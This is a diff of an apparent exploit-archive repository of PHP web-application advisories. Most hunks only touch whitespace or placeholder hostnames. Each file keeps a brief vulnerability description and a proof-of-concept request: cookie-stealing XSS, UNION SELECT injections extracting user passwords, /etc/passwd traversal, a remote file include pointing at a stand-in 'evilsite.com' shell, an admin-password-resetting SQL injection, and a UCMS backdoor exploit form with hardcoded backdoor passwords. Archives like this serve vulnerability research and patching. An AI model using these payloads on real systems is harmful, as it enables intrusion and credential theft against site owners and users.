attacks. http://www.example.com/smartshop/users/kb.php?id=10002&category_id=XSS -http://www.example.com/users/kb.php?category_id=XSS \ No newline at end of file +http://www.example.com/users/kb.php?category_id=XSS \ No newline at end of file diff --git a/platforms/php/webapps/30718.txt b/platforms/php/webapps/30718.txt index 1e5a2af0f..523ca5be3 100755 --- a/platforms/php/webapps/30718.txt +++ b/platforms/php/webapps/30718.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Saxon 5.4; earlier versions may also be vulnerable. -http://www.example.com/admin/menu.php?config[news_url]="><script>alert(document.cookies)</script> \ No newline at end of file +http://www.example.com/admin/menu.php?config[news_url]="><script>alert(document.cookies)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30719.txt b/platforms/php/webapps/30719.txt index 9793bc31a..667f96c0b 100755 --- a/platforms/php/webapps/30719.txt +++ b/platforms/php/webapps/30719.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Saxon 5.4; earlier versions may also be affected. -http://www.example.com/example.php?template=' UNION SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(USER_NAME, USER_PWD), NULL FROM SX_saxon_users %23 \ No newline at end of file +http://www.example.com/example.php?template=' UNION SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(USER_NAME, USER_PWD), NULL FROM SX_saxon_users %23 \ No newline at end of file diff --git a/platforms/php/webapps/30731.txt b/platforms/php/webapps/30731.txt index e826c0223..c7a880e48 100755 --- a/platforms/php/webapps/30731.txt +++ b/platforms/php/webapps/30731.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Synergiser 1.2 RC1 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/index.php?page=../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/index.php?page=../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30732.txt b/platforms/php/webapps/30732.txt index d965ef47f..4ab9cdc23 100755 --- a/platforms/php/webapps/30732.txt +++ b/platforms/php/webapps/30732.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to access sensitive information that may lead CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected. -http://www.example.com/dialog.php?action=editauthor&doc=pagename \ No newline at end of file +http://www.example.com/dialog.php?action=editauthor&doc=pagename \ No newline at end of file diff --git a/platforms/php/webapps/30733.txt b/platforms/php/webapps/30733.txt index 0b27f9489..838fb2360 100755 --- a/platforms/php/webapps/30733.txt +++ b/platforms/php/webapps/30733.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects versions prior to phpMyAdmin 2.11.1.2. -http://www.example.com/phpMyAdmin/server_status.php/"><script>alert('xss')</script> \ No newline at end of file +http://www.example.com/phpMyAdmin/server_status.php/"><script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/30734.txt b/platforms/php/webapps/30734.txt index dcca91e79..8af99218a 100755 --- a/platforms/php/webapps/30734.txt +++ b/platforms/php/webapps/30734.txt @@ -6,4 +6,4 @@ Exploiting this issue allows attackers to execute arbitrary HTML or script code This issue affects Helios Calendar 1.2.1 Beta; other versions may also be affected. -http://www.example.com/calendar/admin/index.php?msg=1&username=[XSS] \ No newline at end of file +http://www.example.com/calendar/admin/index.php?msg=1&username=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30735.txt b/platforms/php/webapps/30735.txt index 8db9107fc..bac7f8992 100755 --- a/platforms/php/webapps/30735.txt +++ b/platforms/php/webapps/30735.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l PHP Helpdesk 0.6.16 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/index.php?whattodo=../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?whattodo=../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/30737.txt b/platforms/php/webapps/30737.txt index 37dc99784..7a3fa1855 100755 --- a/platforms/php/webapps/30737.txt +++ b/platforms/php/webapps/30737.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Galmeta Post 0.2 is vulnerable; other versions may also be affected. -http://www.example.comtmp/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=[shell] \ No newline at end of file +http://www.example.comtmp/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=[shell] \ No newline at end of file diff --git a/platforms/php/webapps/30738.txt b/platforms/php/webapps/30738.txt index 1ba525b14..723e7616d 100755 --- a/platforms/php/webapps/30738.txt +++ b/platforms/php/webapps/30738.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc E-Vendejo 0.2 is vulnerable; other versions may also be affected. -http://www.example.com/articles.php?lingvo=ca&id=10 UNION ALL SELECT null,null,concat(usr_login,0x23,usr_pass),null,null FROM usuaris/* \ No newline at end of file +http://www.example.com/articles.php?lingvo=ca&id=10 UNION ALL SELECT null,null,concat(usr_login,0x23,usr_pass),null,null FROM usuaris/* \ No newline at end of file diff --git a/platforms/php/webapps/30739.txt b/platforms/php/webapps/30739.txt index b72958225..7e5f16d40 100755 --- a/platforms/php/webapps/30739.txt +++ b/platforms/php/webapps/30739.txt @@ -4,4 +4,4 @@ JLMForo System is prone to a cross-site scripting vulnerability because the appl An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/PATH/buscador.php?clave=[XSS] \ No newline at end of file +http://www.example.com/PATH/buscador.php?clave=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30741.txt b/platforms/php/webapps/30741.txt index 59082269f..9f2cb41c3 100755 --- a/platforms/php/webapps/30741.txt +++ b/platforms/php/webapps/30741.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l easyGB 2.1.1 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/index.php?DatabaseType=[Local File]%00 \ No newline at end of file +http://www.example.com/index.php?DatabaseType=[Local File]%00 \ No newline at end of file diff --git a/platforms/php/webapps/30746.txt b/platforms/php/webapps/30746.txt index 37d641dc4..e05c42d37 100755 --- a/platforms/php/webapps/30746.txt +++ b/platforms/php/webapps/30746.txt @@ -6,4 +6,4 @@ Exploiting this issue allows attackers to execute arbitrary HTML or script code We were not told which versions are affected. We will update this BID as more information emerges. -https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=[XSS] https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=1)alert(document.cookie);}function+drop(){if(0 \ No newline at end of file +https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=[XSS] https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=1)alert(document.cookie);}function+drop(){if(0 \ No newline at end of file diff --git a/platforms/php/webapps/30748.txt b/platforms/php/webapps/30748.txt index 01fad15b1..a773707dd 100755 --- a/platforms/php/webapps/30748.txt +++ b/platforms/php/webapps/30748.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability could permit remote attackers to pass malicious in Xoops 2.0.17.1 is vulnerable; other versions may also be affected. -http://www.example.com.com/modules/mylinks/brokenlink.php?lid=1%20OR%201=2 \ No newline at end of file +http://www.example.com.com/modules/mylinks/brokenlink.php?lid=1%20OR%201=2 \ No newline at end of file diff --git a/platforms/php/webapps/30751.html b/platforms/php/webapps/30751.html index 4a843a6d3..80b90d29f 100755 --- a/platforms/php/webapps/30751.html +++ b/platforms/php/webapps/30751.html @@ -6,4 +6,4 @@ Exploiting this issue allows attackers to execute arbitrary HTML or script code This issue affects Broadcast Machine 0.9.9.9; other versions may also be affected. -<form action="http://www.example.com/login.php" method="post"><input type="text" name="username" value='"<script>alert(1)</script>'><input type="submit"></form> \ No newline at end of file +<form action="http://www.example.com/login.php" method="post"><input type="text" name="username" value='"<script>alert(1)</script>'><input type="submit"></form> \ No newline at end of file diff --git a/platforms/php/webapps/30752.txt b/platforms/php/webapps/30752.txt index 653ed8de8..b54eefe07 100755 --- a/platforms/php/webapps/30752.txt +++ b/platforms/php/webapps/30752.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Eggblog 3.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/home/rss.php/<script>alert(1)</script> \ No newline at end of file +http://www.example.com/home/rss.php/<script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30754.txt b/platforms/php/webapps/30754.txt index 452e39840..ddc3da95c 100755 --- a/platforms/php/webapps/30754.txt +++ b/platforms/php/webapps/30754.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AutoIndex PHP Script 2.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/AutoIndex/index.php/"><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/AutoIndex/index.php/"><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30757.txt b/platforms/php/webapps/30757.txt index a692b5760..61b58991c 100755 --- a/platforms/php/webapps/30757.txt +++ b/platforms/php/webapps/30757.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect X7 Chat 2.0.4; other versions may be also vulnerable. -http://www.example.com/sources/frame.php?room=<script>alert(123);</script> \ No newline at end of file +http://www.example.com/sources/frame.php?room=<script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/30762.txt b/platforms/php/webapps/30762.txt index 022a4fa78..fd93fe4b8 100755 --- a/platforms/php/webapps/30762.txt +++ b/platforms/php/webapps/30762.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects WP-SlimStat Plugin 0.9.2; other versions may also be vulnerable. -www.example.com/wp-admin/?page=wp-slimstat/wp-slimstat.php?panel=1&ft=<Script Code> \ No newline at end of file +www.example.com/wp-admin/?page=wp-slimstat/wp-slimstat.php?panel=1&ft=<Script Code> \ No newline at end of file diff --git a/platforms/php/webapps/30764.txt b/platforms/php/webapps/30764.txt index 6b5218efe..9dfd1ee8a 100755 --- a/platforms/php/webapps/30764.txt +++ b/platforms/php/webapps/30764.txt @@ -9,4 +9,4 @@ CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected. http://www.example.com/dialog.php?action=del&doc='+pagename // Delete http://www.example.com/dialog.php?action=delbackup&doc='+pagename // Delete Backup http://www.example.com/dialog.php?action=res&doc='+pagename // Reset -http://www.example.com/dialog.php?action=ren&doc='+pagename // Rename \ No newline at end of file +http://www.example.com/dialog.php?action=ren&doc='+pagename // Rename \ No newline at end of file diff --git a/platforms/php/webapps/30774.txt b/platforms/php/webapps/30774.txt index a556cb67b..fad700f44 100755 --- a/platforms/php/webapps/30774.txt +++ b/platforms/php/webapps/30774.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Liferay Portal 4.1.0 and 4.1.1 are vulnerable; other versions may also be affected. -http://www.example.com/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://www.example2.com%22%3C/script%3E%3Ca%20b=%22c \ No newline at end of file +http://www.example.com/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://www.example2.com%22%3C/script%3E%3Ca%20b=%22c \ No newline at end of file diff --git a/platforms/php/webapps/3079.txt b/platforms/php/webapps/3079.txt index 27645fea0..614ee3084 100755 --- a/platforms/php/webapps/3079.txt +++ b/platforms/php/webapps/3079.txt @@ -23,7 +23,7 @@ + -> 41: include $current_path . 'extern/smarty/Smarty.class.php'; + + Proof Of Concept: -+ http://[target]/[path]/inc/init.inc.php?current_path=http://evilserver/shell.php? ++ http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2007-01-04] diff --git a/platforms/php/webapps/30792.html b/platforms/php/webapps/30792.html index 55193ad5e..7f22d3590 100755 --- a/platforms/php/webapps/30792.html +++ b/platforms/php/webapps/30792.html @@ -6,4 +6,4 @@ Attackers can exploit this issue to gain unauthorized access to the application. Underground CMS 1.4, 1.7, and 1.8 are vulnerable; other versions may also be affected. -<head> <title>Ucms v. 1.8 Np exploit</title> <script type="text/javascript"> function sethost(seite) { document.host.action = seite + 'index.php?&q=test&e=1'; document.all.data.innerHTML = document.host.action; } </script> </head> <body onLoad="sethost('http://www.example.com/')" > <h1>Ucms v. 1.8 Np exploit</h1> Actual Request:<div id="data"></div> <br /> Host:<input type="text" value="http://www.ucmspage.de/" onKeyUp="sethost(this.value);" /> <form id="host" name="host" action="http://www.ucmspage.de/" method="POST"> Password:<input type="text" name="p" value="ZCShY8FjtEhIF8LZ"><br /> <!-- Additional info: You need a password to activate the backdoor we found these passwords: ZCShY8FjtEhIF8LZ (UCMS 1.8) mYM1NHtWtZk2KwrF (UCMS 1.4) wVCQUyhTga5Nmft1 (UCMS [?]) Just go into the file or similar files to find the passwords, for every version there is another password --> Phpcode:<br /> <textarea name="e" rows="20" cols="100"> phpinfo(); ?> &lt;/textarea&gt; <br /> <input type="submit" value="exploit"> </form> </body> <!-- It�s just a crime to do such thigs, so please use this exploit just for knowledge and not to destroy the warez pages... thank you for you attention... Have a nice day --> </html> \ No newline at end of file +<head> <title>Ucms v. 1.8 Np exploit</title> <script type="text/javascript"> function sethost(seite) { document.host.action = seite + 'index.php?&q=test&e=1'; document.all.data.innerHTML = document.host.action; } </script> </head> <body onLoad="sethost('http://www.example.com/')" > <h1>Ucms v. 1.8 Np exploit</h1> Actual Request:<div id="data"></div> <br /> Host:<input type="text" value="http://www.ucmspage.de/" onKeyUp="sethost(this.value);" /> <form id="host" name="host" action="http://www.ucmspage.de/" method="POST"> Password:<input type="text" name="p" value="ZCShY8FjtEhIF8LZ"><br /> <!-- Additional info: You need a password to activate the backdoor we found these passwords: ZCShY8FjtEhIF8LZ (UCMS 1.8) mYM1NHtWtZk2KwrF (UCMS 1.4) wVCQUyhTga5Nmft1 (UCMS [?]) Just go into the file or similar files to find the passwords, for every version there is another password --> Phpcode:<br /> <textarea name="e" rows="20" cols="100"> phpinfo(); ?> &lt;/textarea&gt; <br /> <input type="submit" value="exploit"> </form> </body> <!-- It�s just a crime to do such thigs, so please use this exploit just for knowledge and not to destroy the warez pages... thank you for you attention... Have a nice day --> </html> \ No newline at end of file diff --git a/platforms/php/webapps/30799.txt b/platforms/php/webapps/30799.txt index 237c00f51..77a965339 100755 --- a/platforms/php/webapps/30799.txt +++ b/platforms/php/webapps/30799.txt @@ -4,4 +4,4 @@ MySpace Scripts Poll Creator is prone to an HTML-injection vulnerability because Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible. -http://www.example.com/poll/index.php?action=create_new \ No newline at end of file +http://www.example.com/poll/index.php?action=create_new \ No newline at end of file diff --git a/platforms/php/webapps/30801.txt b/platforms/php/webapps/30801.txt index cc9659ed4..16325c76c 100755 --- a/platforms/php/webapps/30801.txt +++ b/platforms/php/webapps/30801.txt @@ -9,4 +9,4 @@ Bandersnatch 0.4 is vulnerable; other versions may also be affected. http://www.example.com/path/to/index.php?func=[injectionpoint] http://www.example.com/path/to/index.php?date=[injectionpoint] http://www.example.com/path/to/index.php?func=log&jid=[injectionpoint] -http://www.example.com/path/to/index.php?func=user&jid=[injectionpoint] \ No newline at end of file +http://www.example.com/path/to/index.php?func=user&jid=[injectionpoint] \ No newline at end of file diff --git a/platforms/php/webapps/30803.txt b/platforms/php/webapps/30803.txt index 14852e7e1..4e04b374d 100755 --- a/platforms/php/webapps/30803.txt +++ b/platforms/php/webapps/30803.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects E-Lite POS 1.0; other versions may also be vulnerable. -1' UPDATE users set user_name= 'admin' Where(user_iD= '1');-- --1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');-- \ No newline at end of file +-1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');-- \ No newline at end of file diff --git a/platforms/php/webapps/30804.txt b/platforms/php/webapps/30804.txt index 3637155d0..4aa306c62 100755 --- a/platforms/php/webapps/30804.txt +++ b/platforms/php/webapps/30804.txt @@ -6,4 +6,4 @@ Exploiting this issue allows attackers to execute arbitrary HTML or script code This issue affects VBTube 1.1; other versions may also be vulnerable. -http://www.example.com/vBTube.php?do=search&search=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/vBTube.php?do=search&search=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30806.txt b/platforms/php/webapps/30806.txt index 8e69327ea..74d2d20b3 100755 --- a/platforms/php/webapps/30806.txt +++ b/platforms/php/webapps/30806.txt @@ -6,4 +6,4 @@ Exploiting this issue allows attackers to execute arbitrary HTML or script code This issue affects PHPSlideShow 0.9.9.2; other versions may also be vulnerable. -http://www.example.com/scripts/demo/phpslideshow.php?directory="><iframe> http://www.example.com/scripts/demo/phpslideshow.php?directory=<html><font color="Red"><b>Pwned</b></font></html> http://www.example.com/scripts/demo/phpslideshow.php?directory=<EMBED SRC="http://server/xss.swf" http://www.example.com/scripts/demo/phpslideshow.php?directory=FORM%20ACTION=%22search.php%22%20METHOD=%22GET%22%3E \ No newline at end of file +http://www.example.com/scripts/demo/phpslideshow.php?directory="><iframe> http://www.example.com/scripts/demo/phpslideshow.php?directory=<html><font color="Red"><b>Pwned</b></font></html> http://www.example.com/scripts/demo/phpslideshow.php?directory=<EMBED SRC="http://site.com/xss.swf" http://www.example.com/scripts/demo/phpslideshow.php?directory=FORM%20ACTION=%22search.php%22%20METHOD=%22GET%22%3E \ No newline at end of file diff --git a/platforms/php/webapps/30811.txt b/platforms/php/webapps/30811.txt index 6045f694c..26cb35a72 100755 --- a/platforms/php/webapps/30811.txt +++ b/platforms/php/webapps/30811.txt @@ -6,4 +6,4 @@ Exploiting this issue allows attackers to execute arbitrary HTML or script code This issue affects SimpleGallery 0.1.3; other versions may also be vulnerable. -http://www.example.com/PATH/index.php?album=[XSS] \ No newline at end of file +http://www.example.com/PATH/index.php?album=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30813.txt b/platforms/php/webapps/30813.txt index 72c42b8c5..82876f037 100755 --- a/platforms/php/webapps/30813.txt +++ b/platforms/php/webapps/30813.txt @@ -6,4 +6,4 @@ Exploiting this issue allows an attacker to execute arbitrary HTML or script cod This issue affects FMDeluxe 2.1.0; other versions may also be affected. -http://www.example.com/PATH/index.php?action=category&id=[XSS] \ No newline at end of file +http://www.example.com/PATH/index.php?action=category&id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30821.txt b/platforms/php/webapps/30821.txt index 53ce240e2..d5c7639b7 100755 --- a/platforms/php/webapps/30821.txt +++ b/platforms/php/webapps/30821.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and These issues affect p.mapper 3.2.0 beta3; other versions may also be vulnerable. -http://www.example.com/pmapper-3.2-beta3/plugins/export/mc_table.php?_SESSION[PM_INCPHP]=http://www.example2.com \ No newline at end of file +http://www.example.com/pmapper-3.2-beta3/plugins/export/mc_table.php?_SESSION[PM_INCPHP]=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/30822.txt b/platforms/php/webapps/30822.txt index fb76e3fe2..3926d0432 100755 --- a/platforms/php/webapps/30822.txt +++ b/platforms/php/webapps/30822.txt @@ -11,4 +11,4 @@ BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and -https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and \ No newline at end of file +https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and \ No newline at end of file diff --git a/platforms/php/webapps/30823.txt b/platforms/php/webapps/30823.txt index 1f104d6ca..d16e30687 100755 --- a/platforms/php/webapps/30823.txt +++ b/platforms/php/webapps/30823.txt @@ -8,4 +8,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica These issues affect bcoos 1.0.10; other versions may also be affected. -http://www.example.com/modules/myalbum/ratephoto.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/modules/myalbum/ratephoto.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30824.txt b/platforms/php/webapps/30824.txt index d15365944..259fd6a80 100755 --- a/platforms/php/webapps/30824.txt +++ b/platforms/php/webapps/30824.txt @@ -8,4 +8,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica These issues affect bcoos 1.0.10; other versions may also be affected. -http://www.example.com/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30831.txt b/platforms/php/webapps/30831.txt index 1da18afb0..8f139c22e 100755 --- a/platforms/php/webapps/30831.txt +++ b/platforms/php/webapps/30831.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. -http://www.example.com/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=http://www.example2.com \ No newline at end of file +http://www.example.com/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/30836.txt b/platforms/php/webapps/30836.txt index fb379a364..1e1a91673 100755 --- a/platforms/php/webapps/30836.txt +++ b/platforms/php/webapps/30836.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access This issue affects bcoos 1.0.10; other versions may also be affected. -http://www.example.com/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30849.txt b/platforms/php/webapps/30849.txt index 13365915c..54833ef63 100755 --- a/platforms/php/webapps/30849.txt +++ b/platforms/php/webapps/30849.txt @@ -9,4 +9,4 @@ Joomla! 1.5 RC3 is vulnerable; other versions may also be affected. UPDATE (December 10, 2007): The validity of the issues is being disputed on the Joomla! Bug Tracker. Please see the references for details. Reports indicate that the related message was posted by a Joomla! developer, but this has not been confirmed. http://www.example.com/index.php?searchword=&task=somechars%27+%2B+%27search&option=com_search -http://www.example.com/index.php?searchword=&task=search&option=somechars%27+%2B+%27com_search \ No newline at end of file +http://www.example.com/index.php?searchword=&task=search&option=somechars%27+%2B+%27com_search \ No newline at end of file diff --git a/platforms/php/webapps/30851.txt b/platforms/php/webapps/30851.txt index fcd849e3a..ccf7e32c2 100755 --- a/platforms/php/webapps/30851.txt +++ b/platforms/php/webapps/30851.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to retrieve potentially sensitive information This issue affects ezContents 1.4.5; other versions may also be vulnerable. -http://www.example.com/ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd \ No newline at end of file +http://www.example.com/ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd \ No newline at end of file diff --git a/platforms/php/webapps/30852.txt b/platforms/php/webapps/30852.txt index 8302e27b2..1b087c309 100755 --- a/platforms/php/webapps/30852.txt +++ b/platforms/php/webapps/30852.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SupportSuite 3.00.32 is affected by this issue; other versions may also be vulnerable. -http://www.example.com/SupportSuite/upload/includes/LoginShare/modernbill.login.php/%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file +http://www.example.com/SupportSuite/upload/includes/LoginShare/modernbill.login.php/%3Cscript%3Ealert(1)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30853.txt b/platforms/php/webapps/30853.txt index c5b464bb6..bf15e6132 100755 --- a/platforms/php/webapps/30853.txt +++ b/platforms/php/webapps/30853.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OpenNewsletter 2.5 is vulnerable; other versions may also be affected. -http://www.example.com/path/to/opennewsletter/compose.php?type=html'%3Ch1%3EXSS!%3C/h1%3E http://www.example.com/path/to/opennewsletter/compose.php?type=';%3CSCRIPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%3C/script%3E \ No newline at end of file +http://www.example.com/path/to/opennewsletter/compose.php?type=html'%3Ch1%3EXSS!%3C/h1%3E http://www.example.com/path/to/opennewsletter/compose.php?type=';%3CSCRIPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30858.txt b/platforms/php/webapps/30858.txt index 1dee167e4..318be0484 100755 --- a/platforms/php/webapps/30858.txt +++ b/platforms/php/webapps/30858.txt @@ -10,4 +10,4 @@ http://www.example.com/[PATH]/index.php?site=calendar&action=announce&upID=">[yo http://www.example.com/[PATH]/index.php?site=calendar&action=announce&tag=">[your code] http://www.example.com/[PATH]/index.php?site=calendar&action=announce&month=">[your code] http://www.example.com/[PATH]/index.php?site=calendar&action=announce&userID=">[your code] -http://www.example.com/[PATH]/index.php?site=calendar&action=announce&year=">[your code] \ No newline at end of file +http://www.example.com/[PATH]/index.php?site=calendar&action=announce&year=">[your code] \ No newline at end of file diff --git a/platforms/php/webapps/30861.txt b/platforms/php/webapps/30861.txt index 59e14ab44..c3392abf1 100755 --- a/platforms/php/webapps/30861.txt +++ b/platforms/php/webapps/30861.txt @@ -4,4 +4,4 @@ E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to s Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/e-xoops/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/e-xoops/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30862.txt b/platforms/php/webapps/30862.txt index 64cfb665c..70895c1ab 100755 --- a/platforms/php/webapps/30862.txt +++ b/platforms/php/webapps/30862.txt @@ -4,4 +4,4 @@ E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to s Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/e-xoops/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/e-xoops/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30864.txt b/platforms/php/webapps/30864.txt index 43ac2f307..e65adeba8 100755 --- a/platforms/php/webapps/30864.txt +++ b/platforms/php/webapps/30864.txt @@ -4,4 +4,4 @@ E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to s Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/e-xoops/modules/mysections/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/e-xoops/modules/mysections/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30865.txt b/platforms/php/webapps/30865.txt index 82a8d8182..a710d9044 100755 --- a/platforms/php/webapps/30865.txt +++ b/platforms/php/webapps/30865.txt @@ -13,4 +13,4 @@ DomPHP <= v0.83 Local Directory Traversal Vulnerability http://[target]/photoalbum/index.php?urlancien=&url=[Directory] Exemple : -http://server/photoalbum/index.php?urlancien=&url=../../ \ No newline at end of file +http://target.com/photoalbum/index.php?urlancien=&url=../../ \ No newline at end of file diff --git a/platforms/php/webapps/30872.txt b/platforms/php/webapps/30872.txt index 023060a60..ddaf68010 100755 --- a/platforms/php/webapps/30872.txt +++ b/platforms/php/webapps/30872.txt @@ -16,5 +16,5 @@ http://[target]/agenda/indexdate.php?ids=77 [SQL] Exemple : -http://server/domphp/agenda/indexdate.php?ids=77 UNION SELECT 1,2,3,loginUtilisateur,5,6,passUtilisateur,8,9,10,11,12,13,14,15 from domphp_utilisateurs-- +http://site.com/domphp/agenda/indexdate.php?ids=77 UNION SELECT 1,2,3,loginUtilisateur,5,6,passUtilisateur,8,9,10,11,12,13,14,15 from domphp_utilisateurs-- 